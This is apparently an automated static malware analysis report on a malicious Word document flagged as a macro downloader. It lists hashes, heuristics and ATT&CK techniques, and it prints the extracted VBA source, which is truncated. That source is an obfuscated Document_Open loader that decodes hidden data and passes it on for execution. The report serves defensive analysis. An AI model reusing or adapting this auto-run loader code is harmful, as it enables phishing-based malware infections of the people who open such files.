Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a2e03b591495b6a…

MALICIOUS

Office (OLE)

251.0 KB Created: 2017-12-13 15:01:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 816b161c6d4be2ba6ee30c21206884f5 SHA-1: c49a27bb189e653114117a8a39029c1a8aa8a93f SHA-256: 4a2e03b591495b6ad0ec6442e483857625e866b27c6f71117d0a06fe79e072c3
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for malware execution. Heuristics indicate the macro is designed to bypass security measures and act as a downloader. While no specific URLs or executable payloads were directly extracted, the presence of the Document_Open macro and the downloader heuristic strongly suggests the intent to download and execute a secondary payload. The ClamAV detection further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9834 bytes
SHA-256: 9726b345ee74eeab6964a1815dbc12652ebebc641d496ccea5c1ec896904e02b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function serigraphy()
Dim shiv As String
Dim arins As Variant
fieri.facilis.Value = Day(#12/5/2013#)
varday = basilican = absorbable
Set pyocyanin = fieri.facilis.SelectedItem
lubricate = 56 + 19
Pmt 0, lubricate, 27999, 17547, 8
railhead = pyocyanin.Name
stigmatize = 2 - 114 + 7956
oxyacetylene = Right(railhead, stigmatize)
deposed = maxzide(oxyacetylene)
adenosine = 3 + 43
Pmt 0, adenosine, 20457, 42047, 7
#If (52 - 102 + 450 + 66 - 117 + 351) > ((100 - 100 + 320) - (100 - 109 + 549) * 1) And ((70 - 46 + 4) - (19 - 78 + 87)) * 2 < (Win64) Then
Dim newsletter As LongPtr
Dim unfathomable As LongPtr
firebase = 70 - 9 + 2003
Dim caprifoliaceae As LongPtr
Dim maximizing As LongPtr
#ElseIf (111 - 55 + 344 + 32 - 34 + 302) > ((28 - 32 + 324) - (3 - 98 + 635) * 1) And Not ((122 - 77 - 17) - (114 - 91 + 5)) * 2 < (Win64) Then
Dim maximizing As Long
Dim caprifoliaceae As Long
Dim newsletter As Long
conveniently = 125 - 7 + 663
Dim unfathomable As Long
firebase = conveniently + 3459
#End If
bonne = 28 + 23
Pmt 0, bonne, 6561, 21572, 6
unsatisfiable = 60 + 46
Pmt 0, unsatisfiable, 14992, 16651, 3
hibbertia = deposed
caprifoliaceae = careerist(hibbertia)
newsletter = 16 - 107 + 91
maximizing = caprifoliaceae + firebase
unfathomable = 82 - 122 + 201567
accountancy = detergency(unfathomable, _
newsletter, maximizing, _
newsletter, newsletter, _
newsletter, _
newsletter)
gripe = 50 + 32
 Pmt 0, gripe, 5730, 43460, 5

End Function

Private Sub Document_Open()
serigraphy
nonviable = 15 + 31
Pmt 0, nonviable, 37309, 54005, 5
End Sub
Function maxzide(luger) As String
Dim aeschynanthus(63) As Long
Dim calendas(6962) As Byte
Dim centranthus As Long
Dim washerwoman(63) As Long
Dim aberdeen As Long
Dim lepidochelys As Long
Dim irresponsibility(63) As Long
Dim brickkiln As Long
Dim pelycosaur() As Byte
dyarchy = 85 - 28 + 4039
bacchanals = 28 - 52 + 65560
rick = 74 - 29 + 211
proportioned = 26 - 77 + 115
dramatis = 30 - 99 + 16711749
fourtyfour = 7 - 2 + 262139
ergotism = 8 - 38 + 65310
lethargic = 128 - 13 + 140
Dim erythroxylaceae() As Byte
erythroxylaceae = VBA.StrConv(luger, 120 + 8)
sophistry = 40 + 51
Pmt 0, sophistry, 5411, 45517, 2
enterobacteriaceae = 7840 + 3
fatiguing = vbKeyShift - 12
For poteen = 0 To enterobacteriaceae
If poteen Mod 2 = 0 Then
erythroxylaceae(poteen) = erythroxylaceae(poteen) - fatiguing
Else
erythroxylaceae(poteen) = erythroxylaceae(poteen) - (fatiguing - 1)
End If
Next poteen
transpiration = 19 + 20
Pmt 0, transpiration, 35891, 28446, 6
lone = acquire
For centranthus = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
washerwoman(centranthus) = narrowminded(centranthus, proportioned, 30 + 1)
aeschynanthus(centranthus) = narrowminded(centranthus, dyarchy, 30 + 1)
irresponsibility(centranthus) = narrowminded(centranthus, fourtyfour, 30 + 1)
Next centranthus
antilocapra = 37 + 38
Pmt 0, antilocapra, 7130, 35327, 3
pelycosaur = erythroxylaceae
beijing = 40 + 27
Pmt 0, beijing, 26553, 12093, 3
pretermit = 20 - 58 + 41
avoir = pretermit + 1
comburent = 54 - 15 - 37
For brickkiln = 0 To enterobacteriaceae
instructive = pelycosaur(brickkiln)
plumaged = pelycosaur(brickkiln + 2)
migrate = aeschynanthus(lone(pelycosaur(brickkiln + 1)))
hawse = washerwoman(lone(plumaged)) + lone(pelycosaur(brickkiln + pretermit))
aberdeen = irresponsibility(lone(instructive)) + migrate + hawse
centranthus = narrowminded(aberdeen, dramatis, 23)
calendas(lepidochelys) = narrowminded(centranthus, bacchanals, 13)
centranthus = narrowminded(aberdeen, ergotism, 23)
calendas(lepidochelys + 1) = narrowminded(centranthus, rick, 13)
calendas(lepidochelys + comburent) = narrowminded(aberdeen, lethargic, 23)
lepidochelys = lepidochelys + comburent + 1
brickkiln = bric
... (truncated)